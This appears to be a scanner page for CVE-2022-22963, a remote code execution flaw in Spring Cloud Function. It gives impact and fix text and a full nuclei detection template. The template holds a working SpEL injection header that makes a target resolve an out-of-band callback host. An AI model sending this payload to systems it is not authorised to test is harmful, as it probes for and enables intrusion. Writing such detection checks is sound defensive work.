Spring Cloud - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-08-25; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions are susceptible to remote code execution vulnerabilities. When using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches provided by the Spring Cloud project to mitigate this vulnerability.

How to confirm it

Send: POST /functionRouter
Positive when: contains in interactsh_protocol "http" or "dns" AND status 500

Run it with nuclei: nuclei -id CVE-2022-22963 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-22963

info:
  name: Spring Cloud - Remote Code Execution
  author: Mr-xn,Adam Crosser
  severity: critical
  description: |
    Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions are susceptible to remote code execution vulnerabilities. When using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches provided by the Spring Cloud project to mitigate this vulnerability.
  reference:
    - https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
    - https://github.com/cckuailong/spring-cloud-function-SpEL-RCE
    - https://tanzu.vmware.com/security/cve-2022-22963
    - https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/
    - https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection
    - https://nvd.nist.gov/vuln/detail/CVE-2022-22963
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-22963
    cwe-id: CWE-94,CWE-917
    epss-score: 0.99938
    epss-percentile: 0.99971
    cpe: cpe:2.3:a:vmware:spring_cloud_function:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: spring_cloud_function
  tags: cve,cve2022,vulhub,springcloud,rce,kev,vmware,vkev,vuln

http:
  - raw:
      - |
        POST /functionRouter HTTP/1.1
        Host: {{Hostname}}
        spring.cloud.function.routing-expression: T(java.net.InetAddress).getByName("{{interactsh-url}}")
        Content-Type: application/x-www-form-urlencoded

        {{rand_base(8)}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from